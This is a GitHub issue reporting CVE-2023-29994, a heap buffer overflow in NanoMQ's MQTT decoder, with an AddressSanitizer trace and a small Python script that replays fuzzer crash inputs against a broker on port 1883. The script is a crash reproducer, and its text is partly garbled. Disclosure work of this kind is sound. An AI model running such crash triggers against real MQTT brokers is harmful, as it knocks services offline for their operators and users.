Headline
CVE-2023-29994: [Bug] Heap-based Buffer Overflow in `mqtt_code.c`(`read_byte`) · Issue #1042 · emqx/nanomq
In NanoMQ v0.15.0-0, Heap overflow occurs in read_byte function of mqtt_code.c.
Describe the bug
Heap overflow occurred in read_byte function of mqtt_code.c Confirmed with address sanitizer
=================================================================
==104134==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60f000010b2f at pc 0x55e80f3d0747 bp 0x7f98a11f28b0 sp 0x7f98a11f28a0
READ of size 1 at 0x60f000010b2f thread T13
#0 0x55e80f3d0746 in read_byte /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:2712
#1 0x55e80f3d68f1 in decode_buf_properties /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:3754
#2 0x55e80f398540 in conn_handler /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:616
#3 0x55e80f47ca51 in tcptran_pipe_nego_cb /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:349
#4 0x55e80f37ba2f in nni_taskq_thread /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:50
#5 0x55e80f37cde7 in nni_thr_wrap /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/thread.c:94
#6 0x55e80f385f9c in nni_plat_thr_main /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:266
#7 0x7f98aaac8b42 in start_thread nptl/pthread_create.c:442
#8 0x7f98aab5a9ff (/lib/x86_64-linux-gnu/libc.so.6+0x1269ff)
0x60f000010b2f is located 0 bytes to the right of 175-byte region [0x60f000010a80,0x60f000010b2f)
allocated by thread T13 here:
#0 0x7f98aad34867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x55e80f381604 in nni_alloc /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_alloc.c:20
#2 0x55e80f35076b in nng_alloc /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/nng.c:60
#3 0x55e80f47c765 in tcptran_pipe_nego_cb /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:331
#4 0x55e80f37ba2f in nni_taskq_thread /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:50
#5 0x55e80f37cde7 in nni_thr_wrap /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/thread.c:94
#6 0x55e80f385f9c in nni_plat_thr_main /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:266
#7 0x7f98aaac8b42 in start_thread nptl/pthread_create.c:442
Thread T13 created by T0 here:
#0 0x7f98aacd8685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x55e80f3860cc in nni_plat_thr_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:279
#2 0x55e80f37d093 in nni_thr_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/thread.c:121
#3 0x55e80f37bd51 in nni_taskq_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:95
#4 0x55e80f37cab1 in nni_taskq_sys_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:294
#5 0x55e80f366a57 in nni_init_helper /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/init.c:35
#6 0x55e80f386471 in nni_plat_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:422
#7 0x55e80f366ad8 in nni_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/init.c:58
#8 0x55e80f3aa85c in nni_proto_mqtt_open /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol.c:37
#9 0x55e80f3a6c00 in nng_nmq_tcp0_open /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:1258
#10 0x55e80f34b744 in broker /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/apps/broker.c:865
#11 0x55e80f34fc72 in broker_start /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/apps/broker.c:1592
#12 0x55e80f31a3bf in main /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/nanomq.c:142
#13 0x7f98aaa5dd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:2712 in read_byte
Shadow bytes around the buggy address:
0x0c1e7fffa110: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1e7fffa120: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x0c1e7fffa130: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1e7fffa140: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c1e7fffa150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1e7fffa160: 00 00 00 00 00[07]fa fa fa fa fa fa fa fa fa fa
0x0c1e7fffa170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fffa180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fffa190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fffa1a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fffa1b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==104134==ABORTING
import time import socket
def check_input(input, sleep_time = 0.01):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect(('127.0.0.1’, 1883))
s.send(input)
s.close()
break
except ConnectionResetError:
continue
except ConnectionRefusedError:
break
time.sleep(sleep\_time)
def check_crash_log(crash_log): for c in reversed(crash_log): c_bytes = bytearray.fromhex© status = check_input(c_bytes, 0.25) if status == False: print('[+] A crash was detected’) return c_bytes print('[-] No crash…’) exit(-1)
with open('target-1675832337.790905.txt’, ‘r’) as f: crash_log = f.readlines()
check_crash_log(crash_log)